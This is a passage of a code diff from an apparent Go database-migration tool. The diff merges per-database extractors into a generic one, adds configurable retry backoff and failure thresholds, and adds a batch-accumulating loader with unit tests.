 			Msg:             "Primary key not found in provided columns",
 		}:
 		}
+
 		return
 	}
 
@@ -55,25 +58,28 @@ func Consume(
 				return
 			}
 
-			rowsReadResult, err := extractWithRetries(
+			rowsReadResult, err := ex.ProcessPartitionWithRetries(
 				ctx,
-				extractor,
 				tableInfo,
 				columns,
 				batchSize,
 				partition,
 				indexPrimaryKey,
+				retryConfig,
 				chBatchesOut,
+				fromJsonColumns,
 			)
 			wgActivePartitions.Done()
 
 			if rowsReadResult > 0 {
-				atomic.AddInt64(rowsRead, rowsReadResult)
+				current := atomic.LoadInt64(rowsRead)
+				logrus.Debugf("Rows read (partition extracted): +%v [current=%v] (%s.%s)", rowsReadResult, current, tableInfo.Schema, tableInfo.Table)
+				atomic.AddInt64(rowsRead, int64(rowsReadResult))
 			}
 
 			if err != nil {
-				var jobError *custom_errors.JobError
+				atomic.AddInt32(failedPartitionsCount, 1)
-				if errors.As(err, &jobError) {
+				if jobError, ok := errors.AsType[*custom_errors.JobError](err); ok {
 					select {
 					case <-ctx.Done():
 						return
@@ -86,6 +92,16 @@ func Consume(
 					case chErrorsOut <- custom_errors.JobError{ShouldCancelJob: false, Msg: err.Error(), Prev: err}:
 					}
 				}
+
+				currentFPCount := atomic.LoadInt32(failedPartitionsCount)
+				if currentFPCount > int32(retryConfig.MaxFailedPartitions) {
+					select {
+					case <-ctx.Done():
+						return
+					case chErrorsOut <- custom_errors.JobError{ShouldCancelJob: true, Msg: "Max failed partitions reached"}:
+						return
+					}
+				}
 			}
 		}
 	}

internal/app/etl/extractors/main.go

@@ -2,40 +2,18 @@ package extractors
 
 import (
 	"context"
-	"fmt"
 
-	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/convert"
+	dbwrapper "git.ksdemosapps.com/kylesoda/go-migrate/internal/app/db-wrapper"
-	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/custom_errors"
 	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/models"
 	"github.com/google/uuid"
 )
 
-func errorFromLastPartitionRow(
+type GenericExtractor struct {
-	lastRow models.UnknownRowValues,
+	db dbwrapper.DbWrapper
-	indexPrimaryKey int,
+}
-	partition models.Partition,
-	previousError error,
-) error {
-	lastIdRawValue := lastRow[indexPrimaryKey]
 
-	lastId, ok := convert.ToInt64(lastIdRawValue)
+func NewExtractor(db dbwrapper.DbWrapper) GenericExtractor {
-	if !ok {
+	return GenericExtractor{db: db}
-		currentPartition := partition
-		currentPartition.RetryCounter = 3
-		return &custom_errors.ExtractorError{
-			Partition: currentPartition,
-			HasLastId: true,
-			Msg:       fmt.Sprintf("Couldn't cast last id value as int: %s", previousError.Error()),
-		}
-
-	}
-
-	return &custom_errors.ExtractorError{
-		Partition: partition,
-		HasLastId: true,
-		LastId:    lastId,
-		Msg:       previousError.Error(),
-	}
 }
 
 func sendBatch(ctx context.Context, chBatchesOut chan<- models.Batch, batch models.Batch) error {
@@ -49,7 +27,6 @@ func sendBatch(ctx context.Context, chBatchesOut chan<- models.Batch, batch mode
 
 func flush(
 	ctx context.Context,
-	partition *models.Partition,
 	batchSize int,
 	batchRows []models.UnknownRowValues,
 	chBatchesOut chan<- models.Batch,
@@ -58,7 +35,7 @@ func flush(
 		return nil
 	}
 
-	batch := models.Batch{Id: uuid.New(), PartitionId: partition.Id, Rows: batchRows}
+	batch := models.Batch{Id: uuid.New(), Rows: batchRows}
 	batchRows = make([]models.UnknownRowValues, 0, batchSize)
 	return sendBatch(ctx, chBatchesOut, batch)
 }

internal/app/etl/extractors/mssql.go

@@ -1,121 +0,0 @@
-package extractors
-
-import (
-	"context"
-	"database/sql"
-	"fmt"
-	"strings"
-
-	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/config"
-	dbwrapper "git.ksdemosapps.com/kylesoda/go-migrate/internal/app/db-wrapper"
-	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/etl"
-	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/models"
-)
-
-type MssqlExtractor struct {
-	db dbwrapper.DbWrapper
-}
-
-func NewMssqlExtractor(db dbwrapper.DbWrapper) etl.Extractor {
-	return &MssqlExtractor{db: db}
-}
-
-func buildExtractQueryMssql(
-	tableInfo config.SourceTableInfo,
-	columns []models.ColumnType,
-	includeRange bool,
-	isMinInclusive bool,
-) string {
-	var sbQuery strings.Builder
-
-	sbQuery.WriteString("SELECT ")
-
-	if len(columns) == 0 {
-		sbQuery.WriteString("*")
-	} else {
-		for i, col := range columns {
-			fmt.Fprintf(&sbQuery, "[%s]", col.Name())
-
-			if col.Type() == "GEOMETRY" {
-				fmt.Fprintf(&sbQuery, ".STAsBinary() AS [%s]", col.Name())
-			}
-
-			if i < len(columns)-1 {
-				sbQuery.WriteString(", ")
-			}
-		}
-	}
-
-	fmt.Fprintf(&sbQuery, " FROM [%s].[%s]", tableInfo.Schema, tableInfo.Table)
-
-	if includeRange {
-		fmt.Fprintf(&sbQuery, " WHERE [%s]", tableInfo.PrimaryKey)
-		if isMinInclusive {
-			sbQuery.WriteString(" >=")
-		} else {
-			sbQuery.WriteString(" >")
-		}
-
-		fmt.Fprintf(&sbQuery, " @min AND [%s] <= @max", tableInfo.PrimaryKey)
-	}
-
-	fmt.Fprintf(&sbQuery, " ORDER BY [%s] ASC", tableInfo.PrimaryKey)
-
-	return sbQuery.String()
-}
-
-func (mssqlEx *MssqlExtractor) Exec(
-	ctx context.Context,
-	tableInfo config.SourceTableInfo,
-	columns []models.ColumnType,
-	batchSize int,
-	partition models.Partition,
-	indexPrimaryKey int,
-	chBatchesOut chan<- models.Batch,
-) (int64, error) {
-	query := buildExtractQueryMssql(tableInfo, columns, partition.HasRange, partition.Range.IsMinInclusive)
-
-	var queryArgs []any
-	if partition.HasRange {
-		queryArgs = append(queryArgs, sql.Named("min", partition.Range.Min), sql.Named("max", partition.Range.Max))
-	}
-
-	rows, err := mssqlEx.db.Query(ctx, query, queryArgs...)
-	if err != nil {
-		return 0, err
-	}
-	defer rows.Close()
-
-	batchRows := make([]models.UnknownRowValues, 0, batchSize)
-	var rowsRead int64 = 0
-
-	for rows.Next() {
-		values, err := rows.Values()
-		if err != nil {
-			if len(batchRows) == 0 {
-				return rowsRead, err
-			}
-
-			if err := flush(ctx, &partition, batchSize, batchRows, chBatchesOut); err != nil {
-				return rowsRead, err
-			}
-
-			lastRow := batchRows[len(batchRows)-1]
-			return rowsRead, errorFromLastPartitionRow(lastRow, indexPrimaryKey, partition, err)
-		}
-		rowsRead++
-
-		batchRows = append(batchRows, values)
-		if len(batchRows) >= batchSize {
-			if err := flush(ctx, &partition, batchSize, batchRows, chBatchesOut); err != nil {
-				return rowsRead, err
-			}
-		}
-	}
-
-	if err := flush(ctx, &partition, batchSize, batchRows, chBatchesOut); err != nil {
-		return rowsRead, err
-	}
-
-	return rowsRead, rows.Err()
-}

internal/app/etl/extractors/postgres.go

@@ -1,110 +0,0 @@
-package extractors
-
-import (
-	"context"
-	"errors"
-	"fmt"
-	"strings"
-
-	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/config"
-	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/custom_errors"
-	dbwrapper "git.ksdemosapps.com/kylesoda/go-migrate/internal/app/db-wrapper"
-	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/etl"
-	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/models"
-	"github.com/google/uuid"
-)
-
-type PostgresExtractor struct {
-	db dbwrapper.DbWrapper
-}
-
-func NewPostgresExtractor(db dbwrapper.DbWrapper) etl.Extractor {
-	return &PostgresExtractor{db: db}
-}
-
-func buildExtractQueryPostgres(sourceDbInfo config.SourceTableInfo, columns []models.ColumnType) string {
-	var sbColumns strings.Builder
-
-	if len(columns) == 0 {
-		sbColumns.WriteString("*")
-	} else {
-		for i, col := range columns {
-			if col.Type() == "GEOMETRY" {
-				sbColumns.WriteString(`ST_AsEWKB("`)
-				sbColumns.WriteString(col.Name())
-				sbColumns.WriteString(`") AS "`)
-				sbColumns.WriteString(col.Name())
-				sbColumns.WriteString(`"`)
-			} else {
-				sbColumns.WriteString(`"`)
-				sbColumns.WriteString(col.Name())
-				sbColumns.WriteString(`"`)
-			}
-
-			if i < len(columns)-1 {
-				sbColumns.WriteString(", ")
-			}
-		}
-	}
-
-	return fmt.Sprintf(`SELECT %s FROM "%s"."%s"  ORDER BY "%s" ASC`, sbColumns.String(), sourceDbInfo.Schema, sourceDbInfo.Table, sourceDbInfo.PrimaryKey)
-}
-
-func (postgresEx *PostgresExtractor) Exec(
-	ctx context.Context,
-	tableInfo config.SourceTableInfo,
-	columns []models.ColumnType,
-	batchSize int,
-	partition models.Partition,
-	indexPrimaryKey int,
-	chBatchesOut chan<- models.Batch,
-) (int64, error) {
-	query := buildExtractQueryPostgres(tableInfo, columns)
-
-	if partition.HasRange {
-		return 0, errors.New("Batch config not yet supported")
-	}
-
-	var rowsRead int64 = 0
-	rows, err := postgresEx.db.Query(ctx, query)
-	if err != nil {
-		return rowsRead, &custom_errors.ExtractorError{Partition: partition, HasLastId: false, Msg: err.Error()}
-	}
-	defer rows.Close()
-
-	batchRows := make([]models.UnknownRowValues, 0, batchSize)
-
-	for rows.Next() {
-		values, err := rows.Values()
-		if err != nil {
-			return rowsRead, errors.New("Unexpected error reading rows from source")
-		}
-		rowsRead++
-
-		batchRows = append(batchRows, values)
-
-		if len(batchRows) >= batchSize {
-			select {
-			case chBatchesOut <- models.Batch{Id: uuid.New(), PartitionId: partition.Id, Rows: batchRows, RetryCounter: 0}:
-			case <-ctx.Done():
-				return rowsRead, ctx.Err()
-			}
-
-			batchRows = make([]models.UnknownRowValues, 0, batchSize)
-		}
-	}
-
-	if err := rows.Err(); err != nil {
-		return rowsRead, errors.New("Unexpected error reading rows from source")
-	}
-
-	if len(batchRows) > 0 {
-		select {
-		case chBatchesOut <- models.Batch{Id: uuid.New(), PartitionId: partition.Id, Rows: batchRows, RetryCounter: 0}:
-		case <-ctx.Done():
-			return rowsRead, nil
-		}
-	}
-
-	return rowsRead, nil
-}

internal/app/etl/extractors/process-with-retries.go

@@ -8,27 +8,27 @@ import (
 
 	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/config"
 	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/custom_errors"
-	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/etl"
 	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/models"
 	"github.com/google/uuid"
+	// "github.com/sirupsen/logrus"
 )
 
-func extractWithRetries(
+func (ex *GenericExtractor) ProcessPartitionWithRetries(
 	ctx context.Context,
-	extractor etl.Extractor,
 	tableInfo config.SourceTableInfo,
 	columns []models.ColumnType,
 	batchSize int,
 	partition models.Partition,
 	indexPrimaryKey int,
+	retryConfig config.RetryConfig,
 	chBatchesOut chan<- models.Batch,
+	fromJsonColumns []config.FromJsonItem,
 ) (int64, error) {
 	var totalRowsRead int64
-	delay := time.Duration(time.Second * 1)
 	currentParitition := partition
 
 	for {
-		rowsRead, err := extractor.Exec(
+		rowsRead, err := ex.ProcessPartition(
 			ctx,
 			tableInfo,
 			columns,
@@ -36,20 +36,21 @@ func extractWithRetries(
 			currentParitition,
 			indexPrimaryKey,
 			chBatchesOut,
+			fromJsonColumns,
 		)
+		// logrus.Debugf("Partition %v finished processing (%s.%s)", partition.Id, tableInfo.Schema, tableInfo.Table)
 		totalRowsRead += rowsRead
 
 		if err == nil {
 			return totalRowsRead, nil
 		}
 
-		var exError *custom_errors.ExtractorError
+		if exError, ok := errors.AsType[*custom_errors.ExtractorError](err); ok {
-		if errors.As(err, &exError) {
 			currentParitition.RetryCounter++
 
-			if currentParitition.RetryCounter > 3 {
+			if currentParitition.RetryCounter >= retryConfig.Attempts {
 				return totalRowsRead, &custom_errors.JobError{
-					Msg:  fmt.Sprintf("Partition %v reached max retries", exError.Partition.Id),
+					Msg:  fmt.Sprintf("Partition %v reached max retries (%d)", currentParitition.Id, currentParitition.RetryCounter),
 					Prev: err,
 				}
 			}
@@ -61,6 +62,12 @@ func extractWithRetries(
 				currentParitition.Range.IsMinInclusive = false
 			}
 
+			delay := custom_errors.ComputeBackoffDelay(
+				currentParitition.RetryCounter,
+				retryConfig.BaseDelayMs,
+				retryConfig.MaxDelayMs,
+				retryConfig.MaxJitterMs,
+			)
 			time.Sleep(delay)
 			continue
 		}

internal/app/etl/extractors/process.go

@@ -0,0 +1,127 @@
+package extractors
+
+import (
+	"context"
+	"fmt"
+
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/config"
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/convert"
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/custom_errors"
+	dbwrapper "git.ksdemosapps.com/kylesoda/go-migrate/internal/app/db-wrapper"
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/models"
+	// "github.com/sirupsen/logrus"
+)
+
+func errorFromLastPartitionRow(
+	lastRow models.UnknownRowValues,
+	indexPrimaryKey int,
+	partition models.Partition,
+	previousError error,
+) error {
+	lastIdRawValue := lastRow[indexPrimaryKey]
+
+	lastId, ok := convert.ToInt64(lastIdRawValue)
+	if !ok {
+		currentPartition := partition
+		currentPartition.RetryCounter = 3
+		return &custom_errors.ExtractorError{
+			Partition: currentPartition,
+			HasLastId: true,
+			Msg:       fmt.Sprintf("Couldn't cast last id value as int: %s", previousError.Error()),
+		}
+	}
+
+	return &custom_errors.ExtractorError{
+		Partition: partition,
+		HasLastId: true,
+		LastId:    lastId,
+		Msg:       previousError.Error(),
+	}
+}
+
+func (ex *GenericExtractor) ProcessPartition(
+	ctx context.Context,
+	tableInfo config.SourceTableInfo,
+	columns []models.ColumnType,
+	batchSize int,
+	partition models.Partition,
+	indexPrimaryKey int,
+	chBatchesOut chan<- models.Batch,
+	fromJsonColumns []config.FromJsonItem,
+) (int64, error) {
+	query := dbwrapper.ExtractionQuery{
+		Schema:     tableInfo.Schema,
+		Table:      tableInfo.Table,
+		PrimaryKey: tableInfo.PrimaryKey,
+		Columns:    columns,
+		LowerLimit: dbwrapper.ExtractorQueryLimit{
+			IsValid:     partition.HasRange && partition.Range.Min > 0,
+			IsInclusive: partition.Range.IsMinInclusive,
+			Value:       partition.Range.Min,
+		},
+		UpperLimit: dbwrapper.ExtractorQueryLimit{
+			IsValid:     partition.HasRange && partition.Range.Max > 0,
+			IsInclusive: partition.Range.IsMaxInclusive,
+			Value:       partition.Range.Max,
+		},
+		FromJsonColumns: fromJsonColumns,
+	}
+
+	// logrus.Debugf("Processing partition: %+v (%s.%s)", query, tableInfo.Schema, tableInfo.Table)
+	rows, err := ex.db.QueryFromObject(ctx, query)
+	if err != nil {
+		return 0, err
+	}
+	defer rows.Close()
+
+	batchRows := make([]models.UnknownRowValues, 0, batchSize)
+	var rowsRead int64 = 0
+	var lastRow models.UnknownRowValues
+
+	for rows.Next() {
+		rowValues := make([]any, len(columns))
+		scanArgs := make([]any, len(columns))
+
+		for i := range rowValues {
+			scanArgs[i] = &rowValues[i]
+		}
+
+		if err := rows.Scan(scanArgs...); err != nil {
+			if len(batchRows) == 0 {
+				return rowsRead, err
+			}
+
+			if err := flush(ctx, batchSize, batchRows, chBatchesOut); err != nil {
+				return rowsRead, err
+			}
+
+			lastRow := batchRows[len(batchRows)-1]
+			return rowsRead, errorFromLastPartitionRow(lastRow, indexPrimaryKey, partition, err)
+		}
+		rowsRead++
+		lastRow = rowValues
+
+		batchRows = append(batchRows, rowValues)
+		if len(batchRows) >= batchSize {
+			// logrus.Debugf("Batch size reached, flushing batch with %v rows (rowsRead=%v)", len(batchRows), rowsRead)
+			if err := flush(ctx, batchSize, batchRows, chBatchesOut); err != nil {
+				// logrus.Warnf("Error flushing rows: %v", err)
+				return rowsRead, err
+			}
+			batchRows = make([]models.UnknownRowValues, 0, batchSize)
+		}
+	}
+
+	if err := flush(ctx, batchSize, batchRows, chBatchesOut); err != nil {
+		return rowsRead, err
+	}
+
+	if err := rows.Err(); err != nil {
+		if lastRow != nil {
+			return rowsRead, errorFromLastPartitionRow(lastRow, indexPrimaryKey, partition, err)
+		}
+		return rowsRead, err
+	}
+
+	return rowsRead, nil
+}

internal/app/etl/loaders/consume.go

@@ -0,0 +1,153 @@
+package loaders
+
+import (
+	"context"
+	"errors"
+	"sync"
+	"sync/atomic"
+
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/config"
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/custom_errors"
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/models"
+	"github.com/google/uuid"
+	"github.com/sirupsen/logrus"
+)
+
+type loaderAccumulator struct {
+	batchSize   int
+	rows        []models.UnknownRowValues
+	parents     []models.BatchRef
+	pendingDone int
+}
+
+func (a *loaderAccumulator) add(batch models.Batch) {
+	a.rows = append(a.rows, batch.Rows...)
+	a.parents = append(a.parents, models.BatchRef{Id: batch.Id})
+	a.pendingDone++
+}
+
+func (a *loaderAccumulator) ready() bool {
+	return len(a.rows) >= a.batchSize
+}
+
+func (a *loaderAccumulator) drainPending(wg *sync.WaitGroup) {
+	for range a.pendingDone {
+		wg.Done()
+	}
+}
+
+func sendLoadError(
+	ctx context.Context,
+	err error,
+	retryConfig config.RetryConfig,
+	failedBatchesCount *int32,
+	chErrorsOut chan<- custom_errors.JobError,
+) bool {
+	atomic.AddInt32(failedBatchesCount, 1)
+
+	var jobErr custom_errors.JobError
+	if je, ok := errors.AsType[*custom_errors.JobError](err); ok {
+		jobErr = *je
+	} else {
+		jobErr = custom_errors.JobError{ShouldCancelJob: false, Msg: err.Error(), Prev: err}
+	}
+
+	select {
+	case <-ctx.Done():
+		return false
+	case chErrorsOut <- jobErr:
+	}
+
+	if atomic.LoadInt32(failedBatchesCount) > int32(retryConfig.MaxFailedBatchesLoad) {
+		select {
+		case <-ctx.Done():
+		case chErrorsOut <- custom_errors.JobError{ShouldCancelJob: true, Msg: "Max failed batches (load) reached"}:
+		}
+		return false
+	}
+
+	return true
+}
+
+func (gl *GenericLoader) Consume(
+	ctx context.Context,
+	tableInfo config.TargetTableInfo,
+	columns []models.ColumnType,
+	retryConfig config.RetryConfig,
+	batchSize int,
+	chBatchesIn <-chan models.Batch,
+	chErrorsOut chan<- custom_errors.JobError,
+	wgActiveBatches *sync.WaitGroup,
+	rowsLoaded *int64,
+	failedBatchesCount *int32,
+) {
+	colNames := mapSlice(columns, func(col models.ColumnType) string {
+		return col.Name()
+	})
+
+	acc := &loaderAccumulator{batchSize: batchSize}
+	defer acc.drainPending(wgActiveBatches)
+
+	flush := func() bool {
+		if len(acc.rows) == 0 {
+			return true
+		}
+		count := len(acc.parents)
+		superBatch := models.Batch{
+			Id:            uuid.New(),
+			ParentBatches: acc.parents,
+			Rows:          acc.rows,
+		}
+		processedRows, err := gl.ProcessBatchWithRetries(ctx, tableInfo, colNames, retryConfig, superBatch)
+		for range count {
+			wgActiveBatches.Done()
+		}
+		acc.pendingDone -= count
+		acc.rows = nil
+		acc.parents = nil
+
+		if err != nil {
+			return sendLoadError(ctx, err, retryConfig, failedBatchesCount, chErrorsOut)
+		}
+
+		current := atomic.LoadInt64(rowsLoaded)
+		logrus.Debugf("Rows loaded (batch loaded): +%v [current=%v] (%s.%s)", processedRows, current, tableInfo.Schema, tableInfo.Table)
+		atomic.AddInt64(rowsLoaded, int64(processedRows))
+		return true
+	}
+
+	for {
+		select {
+		case <-ctx.Done():
+			return
+
+		case batch, ok := <-chBatchesIn:
+			if !ok {
+				flush()
+				return
+			}
+
+			if batchSize <= 0 {
+				processedRows, err := gl.ProcessBatchWithRetries(ctx, tableInfo, colNames, retryConfig, batch)
+				wgActiveBatches.Done()
+				if err != nil {
+					if !sendLoadError(ctx, err, retryConfig, failedBatchesCount, chErrorsOut) {
+						return
+					}
+					continue
+				}
+				current := atomic.LoadInt64(rowsLoaded)
+				logrus.Debugf("Rows loaded: +%v [current=%v] (%s.%s)", processedRows, current, tableInfo.Schema, tableInfo.Table)
+				atomic.AddInt64(rowsLoaded, int64(processedRows))
+				continue
+			}
+
+			acc.add(batch)
+			if acc.ready() {
+				if !flush() {
+					return
+				}
+			}
+		}
+	}
+}

internal/app/etl/loaders/consume_test.go

@@ -0,0 +1,603 @@
+package loaders
+
+import (
+	"context"
+	"errors"
+	"sync"
+	"sync/atomic"
+	"testing"
+	"time"
+
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/config"
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/custom_errors"
+	dbwrapper "git.ksdemosapps.com/kylesoda/go-migrate/internal/app/db-wrapper"
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/models"
+	"github.com/google/uuid"
+)
+
+const testTimeout = 2 * time.Second
+
+type mockResult struct {
+	err error
+}
+
+type mockDbWrapper struct {
+	mu        sync.Mutex
+	callCount int
+	results   []mockResult
+}
+
+func newMockDb(results ...mockResult) *mockDbWrapper {
+	return &mockDbWrapper{results: results}
+}
+
+func (m *mockDbWrapper) SaveMassive(_ context.Context, _ string, _ string, _ []string, rows [][]any) (int64, error) {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	idx := m.callCount
+	m.callCount++
+	if idx < len(m.results) && m.results[idx].err != nil {
+		return 0, m.results[idx].err
+	}
+	return int64(len(rows)), nil
+}
+
+func (m *mockDbWrapper) Close() error                              { return nil }
+func (m *mockDbWrapper) Connect(_ context.Context, _ string) error { return nil }
+func (m *mockDbWrapper) Exec(_ context.Context, _ string, _ ...any) (dbwrapper.ExecResult, error) {
+	return dbwrapper.ExecResult{}, nil
+}
+func (m *mockDbWrapper) GetDialect() string { return "" }
+func (m *mockDbWrapper) Query(_ context.Context, _ string, _ ...any) (dbwrapper.RowsResult, error) {
+	return nil, nil
+}
+func (m *mockDbWrapper) QueryRow(_ context.Context, _ string, _ ...any) dbwrapper.RowResult {
+	return nil
+}
+func (m *mockDbWrapper) QueryFromObject(_ context.Context, _ dbwrapper.ExtractionQuery) (dbwrapper.RowsResult, error) {
+	return nil, nil
+}
+
+func makeBatch(numRows int) models.Batch {
+	rows := make([]models.UnknownRowValues, numRows)
+	for i := range rows {
+		rows[i] = models.UnknownRowValues{i}
+	}
+	return models.Batch{Id: uuid.New(), Rows: rows}
+}
+
+func newLoader(db *mockDbWrapper) GenericLoader {
+	return GenericLoader{db: db}
+}
+
+func rc(maxFailed int) config.RetryConfig {
+	return config.RetryConfig{Attempts: 1, MaxFailedBatchesLoad: maxFailed}
+}
+
+func sendBatch(chIn chan<- models.Batch, batch models.Batch, wg *sync.WaitGroup) {
+	wg.Add(1)
+	chIn <- batch
+}
+
+func runConsume(
+	ctx context.Context,
+	gl GenericLoader,
+	retryConfig config.RetryConfig,
+	batchSize int,
+	chIn <-chan models.Batch,
+	chErr chan<- custom_errors.JobError,
+	wg *sync.WaitGroup,
+	rowsLoaded *int64,
+	failedCount *int32,
+) <-chan struct{} {
+	done := make(chan struct{})
+	go func() {
+		gl.Consume(ctx, config.TargetTableInfo{}, nil, retryConfig, batchSize,
+			chIn, chErr, wg, rowsLoaded, failedCount)
+		close(done)
+	}()
+	return done
+}
+
+func waitWg(wg *sync.WaitGroup) <-chan struct{} {
+	done := make(chan struct{})
+	go func() { wg.Wait(); close(done) }()
+	return done
+}
+
+func dbError() error { return errors.New("connection reset by peer") }
+
+func TestLoaderAccumulator_Add(t *testing.T) {
+	acc := &loaderAccumulator{batchSize: 5}
+	b1 := makeBatch(2)
+	b2 := makeBatch(3)
+
+	acc.add(b1)
+	acc.add(b2)
+
+	if len(acc.rows) != 5 {
+		t.Errorf("expected 5 rows, got %d", len(acc.rows))
+	}
+	if len(acc.parents) != 2 {
+		t.Fatalf("expected 2 parents, got %d", len(acc.parents))
+	}
+	if acc.parents[0].Id != b1.Id || acc.parents[1].Id != b2.Id {
+		t.Error("parent IDs do not match source batch IDs in order")
+	}
+	if acc.pendingDone != 2 {
+		t.Errorf("expected pendingDone=2, got %d", acc.pendingDone)
+	}
+}
+
+func TestLoaderAccumulator_Ready(t *testing.T) {
+	acc := &loaderAccumulator{batchSize: 3}
+	acc.add(makeBatch(2))
+	if acc.ready() {
+		t.Error("should not be ready with 2 rows and batchSize=3")
+	}
+	acc.add(makeBatch(1))
+	if !acc.ready() {
+		t.Error("should be ready with 3 rows and batchSize=3")
+	}
+}
+
+func TestLoaderAccumulator_DrainPending_ReleasesWg(t *testing.T) {
+	acc := &loaderAccumulator{batchSize: 5, pendingDone: 3}
+	var wg sync.WaitGroup
+	wg.Add(3)
+
+	acc.drainPending(&wg)
+
+	select {
+	case <-waitWg(&wg):
+	case <-time.After(testTimeout):
+		t.Fatal("wg.Wait() timed out: drainPending did not call Done() enough times")
+	}
+}
+
+func TestLoaderAccumulator_DrainPending_ZeroPending(t *testing.T) {
+	acc := &loaderAccumulator{batchSize: 5, pendingDone: 0}
+	var wg sync.WaitGroup
+
+	acc.drainPending(&wg)
+
+	select {
+	case <-waitWg(&wg):
+	case <-time.After(testTimeout):
+		t.Fatal("wg.Wait() timed out")
+	}
+}
+
+func TestSendLoadError_PlainError_WrappedAsNonFatal(t *testing.T) {
+	ch := make(chan custom_errors.JobError, 2)
+	var failedCount int32
+
+	result := sendLoadError(context.Background(), errors.New("db error"), rc(10), &failedCount, ch)
+
+	if !result {
+		t.Error("expected true (below threshold)")
+	}
+	if atomic.LoadInt32(&failedCount) != 1 {
+		t.Errorf("expected failedCount=1, got %d", failedCount)
+	}
+	select {
+	case e := <-ch:
+		if e.ShouldCancelJob {
+			t.Error("plain error should be wrapped as ShouldCancelJob=false")
+		}
+	default:
+		t.Error("expected an error in the channel")
+	}
+}
+
+func TestSendLoadError_JobError_PassesThrough(t *testing.T) {
+	ch := make(chan custom_errors.JobError, 2)
+	var failedCount int32
+	original := &custom_errors.JobError{ShouldCancelJob: false, Msg: "custom msg"}
+
+	sendLoadError(context.Background(), original, rc(10), &failedCount, ch)
+
+	select {
+	case e := <-ch:
+		if e.Msg != "custom msg" || e.ShouldCancelJob {
+			t.Errorf("JobError should pass through unchanged, got %+v", e)
+		}
+	default:
+		t.Error("expected an error in the channel")
+	}
+}
+
+func TestSendLoadError_FatalJobError_BelowThreshold_ReturnsTrue(t *testing.T) {
+	ch := make(chan custom_errors.JobError, 2)
+	var failedCount int32
+	fatal := &custom_errors.JobError{ShouldCancelJob: true, Msg: "unique constraint"}
+
+	result := sendLoadError(context.Background(), fatal, rc(10), &failedCount, ch)
+
+	if !result {
+		t.Error("below-threshold fatal error should return true (external cancel expected from JobErrorHandler)")
+	}
+	select {
+	case e := <-ch:
+		if !e.ShouldCancelJob {
+			t.Error("fatal JobError should be forwarded with ShouldCancelJob=true")
+		}
+	default:
+		t.Error("expected the fatal error in the channel")
+	}
+}
+
+func TestSendLoadError_ThresholdExceeded_ReturnsFalse(t *testing.T) {
+	ch := make(chan custom_errors.JobError, 2)
+	var failedCount int32
+
+	result := sendLoadError(context.Background(), errors.New("db error"), rc(0), &failedCount, ch)
+
+	if result {
+		t.Error("expected false when threshold exceeded")
+	}
+	if len(ch) != 2 {
+		t.Fatalf("expected 2 errors (batch error + fatal threshold error), got %d", len(ch))
+	}
+	<-ch // batch error
+	threshold := <-ch
+	if !threshold.ShouldCancelJob {
+		t.Error("second error should be the fatal threshold error (ShouldCancelJob=true)")
+	}
+}
+
+func TestSendLoadError_AtThresholdBoundary(t *testing.T) {
+	ch := make(chan custom_errors.JobError, 6)
+	var failedCount int32
+
+	if !sendLoadError(context.Background(), errors.New("err"), rc(2), &failedCount, ch) {
+		t.Error("first failure: expected true (below threshold)")
+	}
+	if !sendLoadError(context.Background(), errors.New("err"), rc(2), &failedCount, ch) {
+		t.Error("second failure: expected true (at threshold, not exceeded)")
+	}
+	if sendLoadError(context.Background(), errors.New("err"), rc(2), &failedCount, ch) {
+		t.Error("third failure: expected false (threshold exceeded)")
+	}
+}
+
+func TestSendLoadError_ContextCancelled_ReturnsFalse(t *testing.T) {
+	ch := make(chan custom_errors.JobError)
+	var failedCount int32
+
+	ctx, cancel := context.WithCancel(context.Background())
+	cancel()
+
+	result := sendLoadError(ctx, errors.New("db error"), rc(10), &failedCount, ch)
+
+	if result {
+		t.Error("expected false when context is cancelled")
+	}
+	if len(ch) != 0 {
+		t.Error("no error should be sent when context is cancelled")
+	}
+}
+
+func TestConsume_Passthrough_RowsLoaded(t *testing.T) {
+	db := newMockDb()
+	gl := newLoader(db)
+	chIn := make(chan models.Batch, 1)
+	chErr := make(chan custom_errors.JobError, 1)
+	var wg sync.WaitGroup
+	var rowsLoaded int64
+	var failedCount int32
+
+	sendBatch(chIn, makeBatch(5), &wg)
+	close(chIn)
+
+	<-runConsume(context.Background(), gl, rc(0), 0, chIn, chErr, &wg, &rowsLoaded, &failedCount)
+	wg.Wait()
+
+	if rowsLoaded != 5 {
+		t.Errorf("expected rowsLoaded=5, got %d", rowsLoaded)
+	}
+	if db.callCount != 1 {
+		t.Errorf("expected 1 SaveMassive call, got %d", db.callCount)
+	}
+}
+
+func TestConsume_Passthrough_MultipleBatches_RowsAccumulate(t *testing.T) {
+	db := newMockDb()
+	gl := newLoader(db)
+	chIn := make(chan models.Batch, 3)
+	chErr := make(chan custom_errors.JobError, 1)
+	var wg sync.WaitGroup
+	var rowsLoaded int64
+	var failedCount int32
+
+	sendBatch(chIn, makeBatch(3), &wg)
+	sendBatch(chIn, makeBatch(2), &wg)
+	sendBatch(chIn, makeBatch(4), &wg)
+	close(chIn)
+
+	<-runConsume(context.Background(), gl, rc(10), 0, chIn, chErr, &wg, &rowsLoaded, &failedCount)
+	wg.Wait()
+
+	if rowsLoaded != 9 {
+		t.Errorf("expected rowsLoaded=9, got %d", rowsLoaded)
